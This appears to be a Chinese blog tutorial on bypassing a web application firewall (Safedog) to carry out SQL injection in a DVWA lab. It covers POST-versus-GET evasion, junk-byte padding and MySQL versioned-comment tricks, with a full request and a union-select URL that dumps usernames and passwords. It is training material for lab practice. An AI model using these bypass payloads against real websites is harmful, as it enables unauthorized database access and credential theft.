准备出一个系列课程,分别为
SQL注入、命令执行、文件上传、Xss等的Bypass。
什么是Waf
首先学Bypass Waf,必须要知道什么是Waf。
WAF全称Web application firewall,是Web安全防护的一种手段,对攻击者输入的内容进行检测,匹配是否存在恶意内容,如果有放弃这个请求包,或加入黑名单,不允许此IP再次访问网站
Waf核心功能
- 特征匹配
Waf一般都有自己的匹配规则,多为正则匹配校验内容。 - 黑名单、白名单
黑名单即拉黑,白名单即只允许 - 对数据包处理
匹配有攻击特征 -> 丢包 -> 记录 -> 可能拉入IP黑名单
Waf分类
Waf主要分成三类
- 云
Waf
此类Waf是直接部署在云服务器上的,主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测(云Waf),如存在异常请求则进行拦截,否则将请求转发至真实服务器。 - 软件
Waf
软件Waf直接安装在需要防护的服务器上,实现方式通常是Waf监听端口或以Web容器扩展方式进行请求检测和阻断。 - 硬件
Waf
这类Waf以一个独立的硬件设备的形态存在,以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为Web应用提供安全防护,这类设备是比较安全的,也比较贵。
云Waf有一个最直接的绕过办法就是找到目标服务器的真实IP,如此一来,云Waf无权检测内容。
部署环境
- 利用
dvwa作为靶场 - 利用安全狗作为
waf apache中间件php 5.x版本

Bypass
首先我们输入恶意payload后是这样的

0x1.利用GET+POST绕过

绕过原理:
Waf只拦截GET请求,不拦截POST请求,而且程序也接受POST请求,导致POST传入恶意payload后Waf不会拦截
安全狗默认情况是只检测Url的恶意Payload,然后我们开启一下对POST的检测

开启后,这种办法就没办法绕过了

那么就要使用第二种办法了
0x2.垃圾字节数绕过
这里为了方便查看执行的SQL语句我将其打印出来

绕过的请求包如下
1 | POST /waf/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1 HTTP/1.1 |
2 | Host: 192.168.31.129 |
3 | Cache-Control: max-age=0 |
4 | Upgrade-Insecure-Requests: 1 |
5 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0 |
6 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 |
7 | Accept-Encoding: gzip, deflate |
8 | Accept-Language: zh-CN,zh;q=0.9 |
9 | Cookie: security=low; PHPSESSID=9g1jr0nu47c72napn759d7r8s4 |
10 | Connection: close |
11 | Content-Type: application/x-www-form-urlencoded |
12 | Content-Length: 6195 |
13 | |
14 | Submit=Submit&name=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck...超多个&id=1'+or+'1'='1 |

绕过原理:
由于数据包参数很长,Waf会选择不匹配内容,直接把包给程序从而绕过,因为当字节数太长的时候,Waf匹配起来响应的时间很长,影响客户体验。
0x3.利用SQL语法绕过
这个就比较难了,对于我这种SQL语句不熟练的人来说是这样,屁话不多说。
首先试试1'/*!10000or*/'1'='1是否会拦截

然后用Burp跑一下哪个数字不会拦

/*!30440*/到/*!30449*/和/*!32440*/到/*!32449*/都不会拦(其实还有很多,但是已经能执行的就足够可以绕过安全狗了),然后尝试查字段内容。

1 | http://192.168.31.139/waf/dvwa/vulnerabilities/sqli/?Submit=Submit&name=&id=1'+/*!32441union*/+/*!32444select*/+null,concat_ws(char(32,32,32),user,password)+from+users--+a |
成功。
绕过原理:
首先看看如下Sql语句
1 | select 1/*!32222union*/select 2; |


因为mysql的特性,可以在/*!12345这里*/执行数据库语句,或用/*垃圾字符*/来替换空格,但是安全狗这里使用/**/替换空格的办法依旧会拦截。